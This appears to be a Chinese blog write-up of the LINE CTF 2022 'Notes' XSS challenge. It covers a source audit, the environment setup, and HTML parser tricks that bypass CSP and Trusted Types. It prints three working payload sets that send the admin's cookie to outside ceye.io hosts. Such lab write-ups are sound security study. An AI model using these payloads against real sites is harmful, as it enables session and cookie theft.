前言

学习。


后端源码审计

BUUCTF上面可以找到部属用的整份源码,将其下载下来可以做代码审计或者搭建测试环境。

用Vscode打开源码文件夹开始审计,可以看到整个题目由两个项目组成:

先看NodeJS部分,这是一个持续运行的服务:

const handle = () => {
    console.log('[+] handle');
    connection.blpop('query', 0, async (err, message) => {
        try {
            browser = await init();
            await crawl(message[1]);
            await browser.close();
            setTimeout(handle, 10);
        } catch (e) {
            console.log(e)
        }
    });
};

handle();

connection是一个Redis连接:

const connection = new Redis({
    host: process.env.REDIS_HOST || '127.0.0.1',
    port: process.env.REDIS_PORT || 6379,
    password: process.env.REDIS_PASSWORD || ''
});

结合起来看就是每隔一段时间查询一次Redis内存数据库的query列表,若存在数据则会将其进入回调函数,首先调用的是init函数:

const init = async () => {
    const browser = await puppeteer.launch(browser_option);
    return browser;
};

使用puppeteer初始化了一个chrome headless浏览器,然后将Redis中取出的数据作为参数url进入crawl函数,前面部分是操作headless浏览器以admin的身份登录,函数中的关键代码如下:

await page.setCookie({
    name: 'flag',
    value: flag,
    domain: 'nginx',
    httpOnly: false,
    secure: false
});
...
// check shared note
await page.goto(url, {
    waitUntil: 'networkidle0',
    timeout: 3 * 1000,
});

总结起来就是会带上flag作为cookie访问Redis中存放的url,这个url根据备注描述应该是由用户编写页面再提交的,这应该是一道xss题目。

NodeJS部分后台业务,另一部分的Python则是前台页面,除了正常的注册登录编写页面功能外,还存在比较奇特的两个功能,分别是修改用户名和分享,分享功能代码如下:

@app.route('/plzcheckit', methods=['GET'])
@limiter.limit("1 per 15 seconds")
@login_required
def share():
    try:
        share_key = ''.join([secrets.choice(string.ascii_letters + string.digits) for _ in range(app.config.get('SHARE_ID_LENGTH'))])
        redis.rpush('query', urljoin(app.config.get('BASE_URL'), f'/shared/{share_key}'))
        redis.setnx(share_key, current_user.id)
        flash(f'admin will check your notes shortly, please wait! (waiting={redis.llen("query")}, shareKey={share_key[:16]}...)', category='success')
        return redirect(url_for('index'))
    ...

简单来说就是分配一个识别码用于识别分享者,再拼接出分享页面的url存入数据库,交给后台的NodeJS服务调用headless浏览器去访问来触发xss,而查看分享内容的页面存在权限限制:

@app.route('/shared/<share_key>')
@login_required
def published_note(share_key):
    if not current_user.is_admin:
        return 'you are not admin', http.HTTPStatus.UNAUTHORIZED

    ...
    return render_template('index.j2', **ctx)

因此为了在测试环境中测试xss,可以用admin身份登录去查看分享页面。

环境搭建

使用docker-compose up命令启动项目,发现NodeJS部分在安装headless浏览器时存在问题:

npm ERR! ERROR: Failed to set up Chromium r950341! Set "PUPPETEER_SKIP_DOWNLOAD" env variable to skip download.

根据解决方法,可以通过修改npm源为淘宝源来解决,尝试一下。

找到deploy目录下的crawler.dockerfile文件,在npm install前面加入一句:

npm config set puppeteer_download_host=https://npm.taobao.org/mirrors

然后尝试再次启动,环境搭建完成。

前端源码审计

前端代码可以在j2模板文件中找到,网站主要有profile和index两个模板文件,其中profile页面没有设置CSP,而index页面作为admin查看分享内容的页面设置了CSP:

<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
        http-equiv="Content-Security-Policy">

注意到script配置为:

script-src 'nonce-{{ csp_nonce }}' 'unsafe-inline';

即允许在script标签内执行JavaScript代码,但是script标签必须要有正确的csp nonce,也就是说无法注入新的script标签来执行JavaScript。

这些模板文件从读取文件内容到显示在浏览器上存在两个阶段,首先是服务端解析模板文件,并将服务端数据渲染到模板的指定位置,index模板中就存在2个主要的渲染点:

<script nonce="{{ csp_nonce }}">
    const printInfo = () => {
        const sharedUserId = "{{ shared_user_id }}";
        const sharedUserName = "{{ shared_user_name }}";

        const div = document.createElement('div');
        div.classList.add('alert')
        div.classList.add('alert-warning')
        div.innerHTML = [
            `[debug:${new Date().toISOString()}]`,
            `UserId="${sharedUserId}"`,
            `DisplayName="${sharedUserName}"`
        ].join(' ');
        const sharedUserInfo = document.getElementById('sharedUserInfo');
        sharedUserInfo.replaceChildren(div);
    }

    const printInfoBtn = document.getElementById('printInfoBtn');
    printInfoBtn.addEventListener('click', printInfo);
</script>

和:

<script nonce="{{ csp_nonce }}">
    const render = notes => {
        const noteArea = document.getElementById("notes");

        notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
        for (const note of notes) {
            const noteDiv = document.createElement("div");
            noteDiv.classList.add("p-2")
            noteDiv.classList.add("bg-light")
            noteDiv.classList.add("border")

            const title = document.createElement("h2");
            title.innerHTML = note.title;
            noteDiv.appendChild(title);

            const content = document.createElement("p");
            content.innerHTML = note.content;
            noteDiv.appendChild(content);

            const createdAt = document.createElement("time");
            createdAt.innerHTML = `Created at: ${note.createdAt}`;
            noteDiv.appendChild(createdAt)

            noteArea.appendChild(noteDiv);
        }
    };
    render({{ notes }})
</script>

服务端将字符串类型的数据如sharedUserName填充到模板后,这些数据实际上就被填到了script标签里面,存在被引号闭合从而发生逃逸,注入新的JavaScript代码的可能,而且这种注入由于没有另起script标签,也不会由于没有正确的csp nonce而被拦截。而列表类型的数据如notes,在被打印成字符串填充到模板中时,其中的引号就会被转义,或者整个字符串被包裹在另一种引号中,因此无法逃逸,如:

然后就交给浏览器解析执行,模板中写好的JavaScript就会通过createElement、innerHTML和appendChild等方式将数据填充到对应的HTML标签中,并渲染到HTML页面上,但是通过innerHTML修改HTML会触发另一种CSP安全策略Trusted Types

<script nonce="{{ csp_nonce }}">
    (() => {
        trustedTypes.createPolicy("default", {
            createHTML(unsafe) {
                return unsafe
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;")
                    .replace(/"/g, "&quot;")
                    .replace(/"/g, "&#039;")
            }
        });
    })();
</script>

innerHTML中的尖括号会被转义,因此想通过sharedUserName或者notes在JavaScript修改HTML直接注入新的HTML标签也是一件不太可能的事情。

总结起来,存在xss缺陷的就是在服务端渲染模板阶段时,被填入script标签里,存在逃逸JavaScript可能和注入新标签可能的sharedUserName,不过,这个变量还存在长度限制:

if len(req_display_name) > app.config.get('USER_DISPLAY_NAME_MAX_LENGTH'):
    flash('invalid display name', category='danger')
    return redirect(url_for('profile'))

在congfig.py中,该长度上限为16:

USER_DISPLAY_NAME_MAX_LENGTH = 16

因此,想要完成xss,需要将更长的payload放在title或者content处,再想办法通过这里存在的xss缺陷将这些payload利用起来。

构造xss

测试环境修改

主要有三个点:

  1. 注释掉docker-compose.yml中的crawler服务,即nodejs部分
  2. 在deploy/env目录下的.app.env文件中找到admin的账号密码
  3. 去掉app.py中share函数下对shareKey的16长度限制

此时启动环境,以admin身份登录,可以访问shared页面测试payload:

可以看到,此时sharedUserName已经被嵌入了script标签中。

注入JavaScript和HTML标签

通过闭合双引号,可以逃逸一段JavaScript出来,点击按钮即可执行:

而bot也会点击这个按钮,所以xss可以正常触发:

printInfoBtnSelector = '#printInfoBtn'
await page.waitForSelector(printInfoBtnSelector);
await page.click(printInfoBtnSelector);

但是由于此处存在长度限制,因此无法直接完成从xss到外带的整个流程。

此外,要解决这道题还需要用到一种手法DOM clobbering,简单来说就是可以通过标签中布置的id或者name的方式来简单快捷地访问该HTML元素:

阅读模板代码可知,sharedUserName跟title、content中间存在大量的其他代码,需要通过注释或其他方法注入新的标签,而解决这个问题主要有三种方法。

script data double escaped state

HTML5的词法分析阶段存在一个状态叫script data double escaped state,简单来说就是如果在script标签内的<!–注释中插入一个新的script标签,那么HTML解析器就会进入该状态。

HTML5的词法分析和语法分析规则可以在这里找到,思考这么一种HTML写法:

<html>
    <head>
        <script>
            const printInfo = () => {
                var name = "<!--<script>"};console.log("Test1");/*;
            }
        </script>
        <script>
            console.log("Test2");
        </script>
        <script>
            "-->Twings"
            "*/ alert(/xss/)//"
        </script>
    </head>
</html>

Chrome浏览器的解析结果如图所示:

可以看到,<!–到–>注释间的script标签都被成功注释掉了,而本属于不同script下的字符串最后逃逸了出来,成为了第一个script标签下的JavaScript代码并执行了。而如果在注释结束符–>后继续添加script标签或者删除掉/**/注释,逃逸就会失效。

然后从语法分析的角度思考这段代码的解析流程,当JavaScript解析引擎在body中遇到script标签时处理方式跟head中一致:

当JavaScript解析引擎在head中遇到script标签时:

主要行为有两个:

  1. 将词法分析的状态切换到script data state
  2. 将模式从in head切换到text准备读入JavaScript代码块的字符

先看一下text模式的行为,对于词法分析器提交上来的字符或者字符串,主要行为方式有两种,当遇到常规字符时会将其添加到待执行节点中:

当遇到<\/script>结束标签时就会将这些读入的代码交付执行,即不同script标签下的代码分属不同的环境,多行注释也无法跨多个script标签生效,如下面的代码仍旧会弹窗,换成<!–注释也是一样的:

<html>
    <head></head>
    <body>
        <script>
            /*
        </script>
        <script>
            alert(/1/)
        </script>
        <script>
            */
        </script>
    </body>
</html>

回到词法分析器的script data state状态,研究一下词法分析器如何提交字符给text模式:

遇到左尖括号之外的字符都会被作为常规字符提交,当遇到左尖括号时会切换到script data less-than sign state状态:

如果后续字符为!–,则会经由Script data escape start state、Script data escape start dash state状态来到Script data escaped dash dash state:

此时如果再出现左尖括号,则会切换为Script data escaped less-than sign state状态读取标签名:

在该状态下,如果读入的标签名为script,则会进入Script data double escaped state状态,即该解法的核心原理:

总结从开始到进入该状态的切换过程,可以发现哪怕是被引号包裹为字符串,这种写法依旧成立。在该状态下,-和!以外的绝大多数字符都会被直接提交为JavaScript代码,因此在前面的示例代码中,后续仍然需要闭合引号,再用大括号闭合匿名函数体,最后再开启多行注释。

在正常状态下,多行注释无法吃掉跟所属script标签不同的script标签,text模式在接收到<\/script>标签时就会结束该JavaScript代码块。但是在Script data double escaped state状态下就不一样了,在该状态下,遇到左尖括号会进入Script data double escaped less-than sign state状态:

在该状态下,遇到/标签结束符就会切换到Script data double escape end state状态:

可以看到,此时的<\/script>结束标签会被作为字符类型而不是标签类型提交,因此JavaScript引擎不会另起一个新的环境,多行注释也就可以继续起效了,完成后会切换到Script data escaped state状态。

此后,如果再遇到新的script标签,又会继续回到script data escaped less-than sign state状态,直到<!–注释结束之前,新的script标签任然不会中断现在的执行环境,同样其他标签也不会产生影响。

而当Script data escaped state状态遇到<!–注释的结束符–>时,会因为经由Script data escaped dash state、Script data escaped dash dash state回到Script data state状态,此时再遇到<\/script>结束标签就会切换为script data end tag open state状态,后续就会将其作为tag提交,结束这段JavaScript代码块。

总结起来就是:

<!--<script>

使得多行注释/*可以跨标签生效,从而帮助后续的输入数据进行逃逸。

由此,解题思路明确:

  1. 在sharedUserName写入上述字符让多行注释可以跨标签生效,并开启多行注释
  2. 在title或者content中写入xss payload,将管理员cookie外带

如参考文章中的payload:

display name: <!--<script>"}/*
title: --> /*
content: */ location.href='http://xxxxx.ceye.io/?'+escape(document.cookie)//

xss触发,外带了flag:

import

主要思路分三点:

  1. 在sharedUserName执行import函数导入payload
  2. 通过<\/script>标签逃逸引号注入新的a标签
  3. 通过id访问a标签,并将其作为字符串使用触发其toString函数,取出其中href作为结果

此外,与dom无关的脚本加载方式不会触发Trust-Types,如参考文章中的payload:

display name:
"+import(y)+"

title:
</script><a id=x href="http://xxxxx.ceye.io/"></a>

content:
<a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a>

这种解法由于将import注入到了匿名函数体里,所以需要点击按钮才能触发xss。

至于为什么<\/script>标签能逃逸出引号,就是因为Script data state状态对/等结束类标签有特殊处理方式了。

iframe

由于profile页面不存在CSP,可以通过iframe在profile中执行JavaScript,如参考文章中的payload:

name:
";y.eval(x+"");"

title:
</script><iframe src="/profile" id=y></iframe> 

content:
<a id="x" href="javascript:window.top.location='http://hdftk4.ceye.io/?'+escape(this.parent.document.cookie)" 

怎么我的chrome浏览器说没有iframe.eval函数,懒得研究了。

题外话

把环境源码拖进VMware的发现拖不进去,卸载了重装vm-tools也不行,后来找到了解决方法,原来是要在登陆界面切换到xorg。


参考

LINE CTF 2022 Notes

iframe解法

script data double escaped state解法

import解法


CTF Web XSS

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

学习调试Linux命令程序
BUU XSS COURSE 1